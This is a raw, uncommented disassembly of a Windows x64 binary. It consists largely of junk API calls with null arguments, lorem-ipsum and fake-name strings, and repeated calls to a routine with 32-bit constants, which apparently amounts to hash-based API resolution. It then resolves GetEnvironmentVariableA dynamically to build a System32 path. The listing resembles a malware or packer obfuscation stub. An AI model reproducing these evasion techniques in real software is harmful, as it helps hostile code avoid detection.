mov rax, qword [rsp + 0x58]
call rax
xor edx, edx
xor ecx, ecx
call rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rsi, qword [sym.imp.ADVAPI32.dll_RegNotifyChangeKeyValue]
xor ecx, ecx
mov dword [rsp + 0x20], 0
call rsi
mov rax, qword [0x004ca2c0]
xor ecx, ecx
mov dword [rax], 0xa1934025
mov rax, qword [0x004ca4f0]
mov dword [rax], 0xc93d12aa
mov rax, qword [rsp + 0x60]
call rax
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x78]
call rax
mov ecx, 0x46b90e25
call fcn.00414620
mov rdx, qword [0x004caa00]
mov ecx, 0x7584c05c
mov dword [rdx], eax
call fcn.00414620
mov rdx, qword [0x004ca5d0]
xor r8d, r8d
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
mov rax, qword [rsp + 0x50]
call rax
mov ecx, 0xe02e57
call fcn.00414620
mov rdi, qword [0x004cae00]
xor ecx, ecx
mov dword [rdi], eax
call r14
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x78]
call rax
mov rax, qword [0x004ca6e0]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x74d50768
mov rax, qword [rsp + 0x68]
call rax
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x68]
call rax
lea rdx, str.Odit_repellat_repellat_numquam_repudiandae_perspiciatis_cumque_sit
lea rcx, str.Esse_saepe_illo
mov rax, qword [rsp + 0x70]
call rax
xor ecx, ecx
call rbx
xor ecx, ecx
call r12
mov ecx, 0x9c74d6fa
call fcn.00414620
mov rdi, qword [0x004cae70]
xor edx, edx
xor ecx, ecx
mov r10, qword [rsp + 0x90]
xor r9d, r9d
xor r8d, r8d
mov dword [rdi], eax
call r10
xor ecx, ecx
call rbx
mov rax, qword [0x004cada0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca7a0]
mov ecx, 0xe4a52c93
mov dword [rdx], eax
call fcn.00414620
mov rdx, qword [0x004ca360]
xor ecx, ecx
mov dword [rdx], eax
call r13
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
call rsi
xor ecx, ecx
mov rax, qword [rsp + 0x60]
call rax
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x68]
call rax
lea rcx, str.Rem_eius_qui_inventore_nam_assumenda_ratione_officia_consequatur
mov rax, qword [rsp + 0x80]
call rax
mov rax, qword [0x004ca6a0]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x2b499f6
call r15
mov rax, qword [0x004caf60]
mov ecx, 0x294a994b
mov dword [rax], 0x86e210d5
mov rax, qword [0x004ca1b0]
mov dword [rax], 0xdb440ba4
call fcn.00414620
mov rsi, qword [0x004caca0]
xor ecx, ecx
mov dword [rsi], eax
mov rax, qword [0x004caf50]
mov edx, dword [rax]
mov rax, qword [0x004cae20]
mov dword [rax], edx
call r12
mov rax, qword [0x004cabb0]
mov ecx, dword [rax]
call fcn.00414620
mov rsi, qword [0x004cad70]
mov dword [rsi], eax
mov rax, qword [0x004caf10]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca540]
lea rcx, str.Autem_veritatis_ducimus_totam_fugiat_nemo
mov dword [rdx], eax
lea rdx, str.DrTadKlocko
mov rax, qword [rsp + 0x70]
call rax
xor ecx, ecx
call rbx
mov rax, qword [0x004ca330]
mov dword [rax], 0xa011801e
lea rdx, [rsp + 0xe0]
xor eax, eax
mov ecx, 6
mov dword [rsp + 0xf8], 0x68
mov rdi, rdx
rep stosd dword [rdi], eax
mov rax, qword [0x004cacb0]
cmp dword [rax], 0
je 0x4094cf
mov ecx, 0xf4375232
call fcn.00414620
mov rbx, qword [0x004ca660]
mov dword [rbx], eax
mov rax, qword [0x004ca410]
mov edx, dword [rax]
mov rax, qword [0x004cabd0]
mov dword [rax], edx
mov rax, qword [0x004ca230]
mov ecx, dword [rax]
call fcn.00414620
mov rbx, qword [0x004ca750]
xor edx, edx
xor ecx, ecx
mov r13, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov dword [rbx], eax
call r13
mov rax, qword [0x004cad80]
mov ecx, dword [rax]
call fcn.00414620
mov r12, qword [0x004ca990]
xor edx, edx
xor ecx, ecx
mov rbx, qword [0x004ca4e0]
mov rsi, qword [0x004ca440]
mov dword [rbx], eax
mov eax, dword [r12]
mov dword [rsi], eax
call r13
mov rax, qword [0x004cab70]
mov ecx, dword [rax]
call fcn.00414620
mov rdi, qword [0x004ca320]
xor ecx, ecx
mov dword [rdi], eax
mov rax, qword [sym.imp.KERNEL32.dll_SetEvent]
mov qword [rsp + 0x50], rax
call rax
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_SetEndOfFile]
xor ecx, ecx
mov qword [rsp + 0x58], rax
call rax
mov rbx, qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
xor edx, edx
xor ecx, ecx
call rbx
mov rax, qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
xor edx, edx
lea rcx, str.Atque_veniam_ratione_voluptas_voluptatem_est
mov qword [rsp + 0x60], rax
call rax
mov rax, qword [0x004ca550]
mov rbp, qword [0x004ca9b0]
mov dword [rdi], 0x1d492288
mov dword [rax], 0xcc8b6b7a
mov rax, qword [0x004ca390]
mov eax, dword [rax]
mov dword [rbp], eax
mov rax, qword [0x004caba0]
mov ecx, dword [rax]
call fcn.00414620
mov rdi, qword [0x004ca210]
xor ecx, ecx
mov dword [rdi], eax
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov rax, qword [0x004ca780]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xdb81041d
call rbx
mov eax, dword [r12]
xor r8d, r8d
xor ecx, ecx
mov dword [rsi], eax
mov rax, qword [0x004ca430]
mov rsi, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
mov edx, dword [rax]
mov rax, qword [0x004ca6b0]
mov dword [rax], edx
xor edx, edx
call rsi
mov ecx, 0xeb28a4a7
call fcn.00414620
mov rdi, qword [0x004ca560]
xor r9d, r9d
mov r15, qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rdi], eax
mov rax, qword [0x004caab0]
mov dword [rax], 0xcbd14361
call r15
mov rax, qword [sym.imp.ADVAPI32.dll_ReadEventLogA]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x78], rax
call rax
mov rax, qword [sym.imp.KERNEL32.dll_SetCommBreak]
xor ecx, ecx
mov qword [rsp + 0x68], rax
call rax
mov ecx, 0x90fea021
call fcn.00414620
mov rdi, qword [0x004cad30]
xor ecx, ecx
mov dword [rdi], eax
mov rdi, qword [sym.imp.KERNEL32.dll_SetLastError]
call rdi
mov rax, qword [0x004ca310]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca720]
mov dword [rax], edx
mov rax, qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
mov qword [rsp + 0x80], rax
call rax
lea rdx, str.MsAnnaliseCorkerySr
lea rcx, str.Porro_incidunt_et_odio_quis
call qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rsi
mov rax, qword [0x004caa40]
xor edx, edx
lea rcx, str.Nihil_aperiam_sed_modi_quibusdam_dolore_molestias
mov dword [rax], 0xbfa2bf2a
mov rax, qword [rsp + 0x60]
call rax
mov rax, qword [0x004cac40]
mov r11, qword [sym.imp.KERNEL32.dll_lstrlenA]
lea rcx, str.KaitlynOReilly
mov eax, dword [rax]
mov qword [rsp + 0x90], r11
mov dword [rbp], eax
mov rax, qword [0x004cad70]
mov dword [rax], 0x74291918
call r11
mov rbp, qword [sym.imp.KERNEL32.dll_FindClose]
xor ecx, ecx
call rbp
xor ecx, ecx
mov rax, qword [rsp + 0x58]
call rax
xor edx, edx
mov r14, qword [sym.imp.KERNEL32.dll_SetCommMask]
xor ecx, ecx
call r14
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call rax
mov ecx, 0xd0ef9f92
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004ca2a0]
mov r12, qword [sym.imp.ADVAPI32.dll_RegNotifyChangeKeyValue]
mov dword [rdx], eax
xor edx, edx
mov dword [rsp + 0x20], 0
call r12
mov rax, qword [0x004ca5b0]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xc7aff80
call rbx
mov rbx, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
xor ecx, ecx
call rbx
xor edx, edx
xor ecx, ecx
call r13
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rsi
mov rax, qword [0x004ca400]
mov ecx, dword [rax]
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [0x004ca730]
mov dword [rcx], eax
mov rax, qword [0x004cabb0]
xor ecx, ecx
mov dword [rax], 0x5f11d597
call r15
mov rax, qword [0x004caf80]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004caa90]
mov dword [rax], edx
mov rax, qword [0x004cac10]
mov dword [rax], 0x7b74113d
mov rax, qword [0x004ca6f0]
mov edx, dword [rax]
mov rax, qword [0x004ca280]
mov dword [rax], edx
xor edx, edx
mov dword [rsp + 0x20], 0
call r12
xor ecx, ecx
call rdi
mov rax, qword [0x004cab30]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca290]
mov ecx, 0x2ee2f966
mov dword [rdx], eax
call fcn.00414620
mov r10, qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rdx, qword [0x004ca220]
xor ecx, ecx
mov qword [rsp + 0x88], r10
mov dword [rdx], eax
call r10
mov rax, qword [0x004ca260]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x42adff66
call r14
mov rax, qword [sym.imp.ADVAPI32.dll_NotifyChangeEventLog]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x70], rax
call rax
mov rax, qword [0x004cab10]
mov rdx, qword [0x004ca570]
mov ecx, 0x6a19c380
mov eax, dword [rax]
mov dword [rdx], eax
call fcn.00414620
mov rdx, qword [0x004cae00]
xor ecx, ecx
mov dword [rdx], eax
call rbp
mov rax, qword [0x004ca4e0]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca250]
mov dword [rax], edx
xor edx, edx
call r15
xor ecx, ecx
call rbx
xor ecx, ecx
call rbp
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rsi
mov rax, qword [0x004ca210]
mov edx, dword [rax]
mov rax, qword [0x004caa10]
mov dword [rax], edx
mov rax, qword [0x004caf00]
mov edx, dword [rax]
mov rax, qword [0x004ca380]
mov dword [rax], edx
mov rax, qword [0x004ca4e0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca7b0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [rsp + 0x68]
call rax
mov rax, qword [0x004cabb0]
mov rcx, qword [0x004ca670]
xor edx, edx
mov eax, dword [rax]
mov dword [rcx], eax
xor ecx, ecx
mov rax, qword [rsp + 0x70]
call rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
call r12
mov rax, qword [0x004ca640]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xe0c3581
mov rax, qword [0x004caf70]
mov dword [rax], 0x4a954e87
call rsi
mov rax, qword [0x004ca780]
mov rdx, qword [0x004cad50]
xor ecx, ecx
mov dword [rax], 0xd02e1395
mov rax, qword [0x004ca6c0]
mov eax, dword [rax]
mov dword [rdx], eax
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
lea r8, str.Provident_quae_explicabo
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenEventA]
xor edx, edx
mov rax, qword [rsp + 0x60]
lea rcx, str.Voluptatem_repudiandae_iusto_quia
call rax
mov rax, qword [0x004caf80]
mov r15, qword [0x004caf20]
mov ecx, 0xa0dc27d1
mov dword [rax], 0xf4ba0396
mov rax, qword [0x004ca6e0]
mov eax, dword [rax]
mov dword [r15], eax
mov rax, qword [0x004cab40]
mov edx, dword [rax]
mov rax, qword [0x004ca650]
mov dword [rax], edx
call fcn.00414620
mov rdx, qword [0x004ca9f0]
lea rcx, str.Labore_repellat_impedit_fuga_fugiat_fugiat_nam
mov dword [rdx], eax
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rsi
mov r11, qword [rsp + 0x90]
lea rcx, str.GeorgeJerde
call r11
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
call r12
xor ecx, ecx
call rbx
mov rax, qword [0x004cad30]
xor r8d, r8d
mov edx, dword [rax]
mov rax, qword [0x004caca0]
mov dword [rax], edx
xor edx, edx
xor ecx, ecx
call rsi
mov edx, dword [r15]
mov rax, qword [0x004ca1c0]
xor ecx, ecx
mov r15, qword [0x004ca3e0]
mov r12, qword [0x004caf60]
mov dword [rax], edx
mov rax, qword [0x004cad60]
mov rsi, qword [0x004ca420]
mov eax, dword [rax]
mov dword [r15], eax
mov eax, dword [r12]
mov dword [rsi], eax
call rdi
mov rsi, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
xor edx, edx
xor ecx, ecx
call rsi
xor edx, edx
xor ecx, ecx
call rsi
mov rax, qword [0x004ca7e0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004caa30]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004ca210]
xor edx, edx
mov dword [rax], 0x3424d9fd
call r14
xor ecx, ecx
call rbx
mov rax, qword [0x004ca5c0]
mov rsi, qword [0x004ca670]
xor ecx, ecx
mov r14, qword [0x004cad10]
mov eax, dword [rax]
mov dword [r14], 0x1c23cce0
mov dword [rsi], eax
mov rax, qword [0x004ca7d0]
mov rsi, qword [0x004cab40]
mov dword [rax], 0xd7665ee7
mov rax, qword [0x004ca7a0]
mov eax, dword [rax]
mov dword [rsi], eax
mov rax, qword [0x004ca550]
mov rsi, qword [0x004cab80]
mov eax, dword [rax]
mov dword [rsi], eax
call rbx
mov rax, qword [0x004caac0]
xor ecx, ecx
mov dword [rax], 0x7cfaf244
mov rax, qword [rsp + 0x50]
call rax
mov rax, qword [0x004ca1f0]
mov ecx, dword [rax]
call fcn.00414620
mov rcx, qword [0x004ca730]
mov rdx, qword [0x004ca560]
mov dword [rcx], eax
mov rax, qword [0x004ca400]
xor ecx, ecx
mov dword [rax], 0xe21bdb41
mov rax, qword [0x004ca470]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [rsp + 0x58]
call rax
mov rax, qword [0x004ca2c0]
xor ecx, ecx
mov dword [rax], 0x74472880
mov rax, qword [0x004cac10]
mov eax, dword [rax]
mov dword [r12], eax
mov rax, qword [rsp + 0x68]
call rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
call rax
xor edx, edx
lea rcx, str.KhalidBartolettiV
mov rax, qword [rsp + 0x60]
call rax
mov rax, qword [0x004ca580]
mov ecx, dword [rax]
call fcn.00414620
mov rcx, qword [0x004ca570]
mov dword [rcx], eax
xor ecx, ecx
mov rax, qword [rsp + 0x80]
call rax
mov rax, qword [0x004ca750]
mov edx, dword [rax]
mov rax, qword [0x004ca820]
mov dword [rax], edx
mov rax, qword [0x004caf80]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004caee0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [rsp + 0x58]
call rax
mov rax, qword [0x004ca620]
mov dword [rax], 0x5094b479
mov rax, qword [0x004caf70]
mov ecx, dword [rax]
call fcn.00414620
xor ecx, ecx
mov dword [r15], 0xd4c27dd4
mov dword [rsi], eax
call rbx
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x70]
call rax
mov rax, qword [0x004ca3a0]
mov rsi, qword [0x004ca760]
mov edx, dword [rax]
mov rax, qword [0x004ca3b0]
mov dword [rax], edx
mov edx, dword [rsi]
mov rax, qword [0x004ca5e0]
mov dword [rax], edx
mov rax, qword [0x004cad50]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca420]
mov rcx, qword [0x004ca2c0]
mov dword [rdx], eax
mov rax, qword [0x004caba0]
mov dword [rax], 0x555cce44
mov rax, qword [0x004ca660]
mov eax, dword [rax]
mov dword [rcx], eax
mov rax, qword [0x004caf40]
xor ecx, ecx
mov dword [rax], 0xea6b70e1
mov rax, qword [0x004cad50]
mov dword [rax], 0xa5bebeb1
call rdi
xor ecx, ecx
call rbx
mov rax, qword [0x004ca780]
mov rbx, qword [0x004ca570]
xor ecx, ecx
mov r10, qword [rsp + 0x88]
mov dword [rax], 0xfb7cd070
mov eax, dword [rsi]
mov dword [rbx], eax
mov rax, qword [0x004cad70]
mov edx, dword [rax]
mov rax, qword [0x004ca4a0]
mov dword [rax], edx
call r10
xor ecx, ecx
mov dword [r14], 0xc692eea4
call rbp
xor ecx, ecx
call rdi
mov ecx, 0x53ffb14b
call fcn.00414620
mov rbx, qword [0x004caf00]
xor edx, edx
xor ecx, ecx
mov dword [rbx], eax
call r13
lea rdx, str.GetEnvironmentVariableA
lea rcx, [0x004c222f]
call fcn.00410845
lea rdx, [rsp + 0x160]
mov r8d, 0x400
lea rcx, str.windir
call rax
mov rax, qword [0x004cacb0]
cmp dword [rax], 0x909d
jle 0x4099eb
mov rsi, qword [sym.imp.KERNEL32.dll_SetEndOfFile]
xor ecx, ecx
call rsi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov rbx, qword [sym.imp.KERNEL32.dll_SetEvent]
xor ecx, ecx
call rbx
xor ecx, ecx
call rsi
mov rax, qword [0x004ca2e0]
mov dword [rax], 0x6d0f991b
mov rax, qword [0x004caf30]
mov dword [rax], 0x2d0ae9cf
mov rax, qword [0x004ca7a0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca7f0]
xor ecx, ecx
mov dword [rdx], eax
call rbx
mov rdi, qword [0x004ca1b0]
mov rax, qword [0x004ca310]
lea rcx, str.Non_nemo_commodi_at_dolorem_itaque_occaecati_est
mov r14, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov dword [rax], 0xc3de9a07
mov dword [rdi], 0x7fb33533
call r14
mov r15, qword [0x004ca7d0]
mov rsi, qword [0x004ca460]
xor ecx, ecx
mov rbp, qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov eax, dword [r15]
mov dword [rsi], eax
call rbp
mov rax, qword [0x004cadd0]
mov r13, qword [sym.imp.KERNEL32.dll_lstrlenA]
lea rcx, str.MissAimeeLesch
mov dword [rax], 0x23a18d20
call r13
mov rax, qword [0x004caf00]
mov r12, qword [0x004cae80]
mov ecx, 0x8e32d8d2
mov dword [rax], 0x756a2c96
mov rax, qword [0x004ca9a0]
mov edx, dword [r12]
mov dword [rax], 0x6d511b46
mov rax, qword [0x004caf50]
mov dword [rax], edx
call fcn.00414620
mov r10, qword [sym.imp.KERNEL32.dll_SetLastError]
mov rsi, qword [0x004ca780]
xor ecx, ecx
mov qword [rsp + 0x50], r10
mov dword [rsi], eax
call r10
mov rsi, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor edx, edx
xor ecx, ecx
call rsi
mov rax, qword [0x004ca200]
mov edx, dword [rax]
mov rax, qword [0x004ca1c0]
mov dword [rax], edx
mov rax, qword [0x004cabd0]
mov ecx, dword [rax]
call fcn.00414620
xor ecx, ecx
mov dword [r15], eax
call rbp
mov rax, qword [0x004ca500]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cad80]
mov dword [rdx], eax
mov rax, qword [0x004ca7b0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cabe0]
xor r9d, r9d
xor r8d, r8d
mov dword [rdx], eax
mov rax, qword [0x004ca9d0]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xd308d566
call qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
mov r15, qword [0x004cad30]
mov rax, qword [0x004ca3b0]
mov ecx, dword [r15]
mov dword [rax], 0xc7b6c156
call fcn.00414620
mov rdx, qword [0x004ca2a0]
mov ecx, 0x7a7faea6
mov dword [rdx], eax
call fcn.00414620
mov rdx, qword [0x004ca6b0]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rsi
mov rax, qword [0x004ca810]
mov ecx, dword [rax]
call fcn.00414620
mov ecx, 0x6b9d8179
mov dword [rdi], eax
call fcn.00414620
mov rdx, qword [0x004ca3c0]
mov rsi, qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
xor ecx, ecx
mov dword [rdx], eax
call rsi
mov edx, dword [r15]
mov rax, qword [0x004cab40]
xor ecx, ecx
mov dword [rax], edx
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_NotifyChangeEventLog]
mov rax, qword [0x004ca290]
lea rcx, str.Minus_voluptatem_repellat_sint_placeat_et
mov dword [rax], 0xe925740f
call r14
mov ecx, 0x266d623d
call fcn.00414620
mov rdx, qword [0x004ca2f0]
mov ecx, 0xf18d7482
mov dword [rdx], eax
call fcn.00414620
mov rdx, qword [0x004ca270]
mov ecx, 0x806214a1
mov dword [rdx], eax
call fcn.00414620
mov rcx, qword [0x004ca780]
mov dword [rcx], eax
mov rax, qword [0x004ca260]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cae40]
xor ecx, ecx
mov r14, qword [sym.imp.KERNEL32.dll_FindClose]
mov dword [rdx], eax
call r14
mov rax, qword [0x004ca4d0]
mov r10, qword [rsp + 0x50]
xor ecx, ecx
mov dword [rax], 0x4aa1c1fb
mov rax, qword [0x004cadf0]
mov edx, dword [rax]
mov rax, qword [0x004cabc0]
mov dword [rax], edx
call r10
xor ecx, ecx
call rsi
mov r15, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
lea rdx, str.OrlandoChamplin
lea rcx, str.Sit_ab_vel_veritatis_ratione_dolorem_illo_eveniet
call r15
mov rax, qword [0x004caa60]
xor ecx, ecx
mov dword [rax], 0x566e0476
call rbx
mov rax, qword [0x004ca690]
lea r8, str.TaureanMacejkovic
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cada0]
mov dword [rax], edx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_OpenEventA]
lea rdx, str.Suscipit_omnis_quia_et_debitis_nesciunt_quia_cumque_sequi_a_libero_eos_voluptas
lea rcx, str.Eveniet_earum_inventore_ea_cumque_deleniti_ea_ducimus_quis
call r15
xor ecx, ecx
call rsi
xor ecx, ecx
call rsi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextStreamW]
mov rax, qword [0x004ca4a0]
mov rsi, qword [0x004ca460]
lea rdx, str.TiannaDouglas
lea rcx, str.Placeat_quibusdam_facilis_tempora_repudiandae_iusto
mov eax, dword [rax]
mov dword [rsi], eax
mov rax, qword [0x004ca5c0]
mov rsi, qword [0x004ca500]
mov eax, dword [rax]
mov dword [rsi], eax
mov rax, qword [0x004ca4e0]
mov dword [rax], 0x8d8a87d1
call r15
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
mov rax, qword [0x004ca7e0]
mov rsi, qword [0x004ca810]
mov edx, dword [rax]
mov rax, qword [0x004ca9b0]
mov dword [rax], edx
mov rax, qword [0x004ca380]
mov edx, dword [rax]
mov rax, qword [0x004ca210]
mov dword [rax], edx
mov rax, qword [0x004ca7c0]
mov edx, dword [rax]
mov rax, qword [0x004ca540]
mov dword [rax], edx
mov rax, qword [0x004ca770]
mov edx, dword [rax]
mov dword [rax], 0xe2da8086
mov dword [rsi], edx
mov rdx, qword [0x004cac30]
mov dword [rdx], 0x11a7ffa8
mov rdx, qword [0x004cabf0]
mov ecx, dword [rdx]
mov rdx, qword [0x004ca5b0]
mov dword [rdx], ecx
lea rcx, str.Est_corrupti_enim_consequatur
call r13
mov rax, qword [0x004caaf0]
mov rsi, qword [0x004cabe0]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rsi], eax
call rbp
mov rax, qword [0x004caf40]
xor r8d, r8d
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca450]
mov dword [rax], edx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
mov rax, qword [0x004ca740]
xor edx, edx
xor ecx, ecx
mov rsi, qword [0x004ca310]
xor r9d, r9d
xor r8d, r8d
mov eax, dword [rax]
mov dword [rsi], eax
mov rax, qword [str.7U5]
mov dword [rax], 0x8577c624
mov dword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_RegNotifyChangeKeyValue]
mov ecx, 0xd9b076d1
call fcn.00414620
mov rsi, qword [0x004caf30]
xor ecx, ecx
mov dword [rsi], eax
call r14
mov ecx, 0xbd36bf8e
call fcn.00414620
mov rdx, qword [0x004ca410]
mov dword [r12], 0xa59070ec
mov dword [rdx], eax
mov rax, qword [0x004cab60]
mov edx, dword [rax]
mov rax, qword [0x004ca630]
mov dword [rax], edx
mov rax, qword [0x004ca710]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca3d0]
xor ecx, ecx
mov dword [rdi], 0xe1414a5f
mov dword [rdx], eax
mov rax, qword [0x004ca250]
mov dword [rax], 0xdaa6086f
call qword [sym.imp.KERNEL32.dll_SetCommBreak]
mov rax, qword [0x004cae30]
xor ecx, ecx
mov dword [rax], 0x3ca0a41f
call rbx
mov rax, qword [rsp + 0x9c0]
lea rcx, [rsp + 0x560]
lea r9, [rsp + 0x160]
mov edx, 0x400
lea r8, str._sSystem32_s
mov qword [rsp + 0x20], rax
call qword [sym.imp.msvcrt.dll__snprintf]
mov rax, qword [0x004cacb0]
cmp dword [rax], 0x512e
jne 0x40a034
mov rsi, qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
xor ecx, ecx
call rsi
mov rdi, qword [0x004ca2e0]
mov ecx, 0xbb04e241
mov dword [rdi], 0x9542d924
call fcn.00414620
mov rbx, qword [0x004ca230]
mov rbp, qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
lea rcx, str.Optio_id_iure_est_id_est_ullam
mov dword [rbx], eax
mov rax, qword [0x004cadc0]
mov edx, dword [rax]
mov rax, qword [0x004ca7e0]
mov dword [rax], edx
xor edx, edx
call rbp
mov ecx, 0x7282ec27
call fcn.00414620
mov rdx, qword [0x004ca5a0]
xor ecx, ecx
mov rbx, qword [0x004caca0]
lea r8, str.ProfHeloiseWelchIV
mov r15, qword [sym.imp.KERNEL32.dll_OpenEventA]
mov dword [rdx], eax
mov rax, qword [0x004caac0]
mov edx, dword [rax]
mov rax, qword [0x004caed0]
mov dword [rax], edx
mov rax, qword [0x004ca590]
mov edx, dword [rax]
mov rax, qword [0x004ca800]
mov dword [rax], edx
mov rax, qword [0x004cab60]
mov edx, dword [rax]
mov rax, qword [0x004ca2d0]
mov dword [rax], edx
mov rax, qword [0x004ca250]
mov edx, dword [rax]
mov rax, qword [0x004caa80]
mov dword [rax], edx
mov rax, qword [0x004cac70]
xor edx, edx
mov eax, dword [rax]
mov dword [rbx], eax
call r15
xor edx, edx
mov r14, qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
xor ecx, ecx
call r14
mov ecx, 0x890b233f
call fcn.00414620
mov rbx, qword [0x004ca7b0]
mov r13, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rcx, str.MsAnnamaeSchneider
mov dword [rbx], eax
mov rax, qword [0x004cad80]
mov dword [rax], 0x5298cec3
call r13
mov rbx, qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
xor ecx, ecx
call rbx
mov rax, qword [0x004ca420]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca6a0]
mov dword [rax], edx
mov rax, qword [0x004ca3b0]
mov edx, dword [rax]
mov rax, qword [0x004ca350]
mov dword [rax], edx
call rsi
mov rax, qword [0x004caa60]
lea rcx, str.Et_unde_tempore_quas_ipsam_magni_quia_velit_voluptatibus
mov edx, dword [rax]
mov rax, qword [0x004ca430]
mov dword [rax], edx
mov rax, qword [0x004cab70]
mov dword [rax], 0xbb6b8357
call r13
mov rax, qword [0x004ca670]
mov ecx, 0x5e9c1337
mov dword [rax], 0xb5e861a
mov rax, qword [0x004cab70]
mov dword [rax], 0x8e4db0c8
call fcn.00414620
mov rdx, qword [0x004caa50]
mov rsi, qword [sym.imp.KERNEL32.dll_lstrlenA]
lea rcx, str.Cupiditate_architecto_sapiente_amet_eius_blanditiis_vel
mov dword [rdx], eax
call rsi
mov r10, qword [sym.imp.KERNEL32.dll_SetEndOfFile]
xor ecx, ecx
mov qword [rsp + 0x58], r10
call r10
mov rax, qword [0x004ca750]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cae00]
mov ecx, 0xc7a59ae9
mov dword [rdx], eax
mov rax, qword [0x004ca3f0]
mov edx, dword [rax]
mov rax, qword [0x004ca6e0]
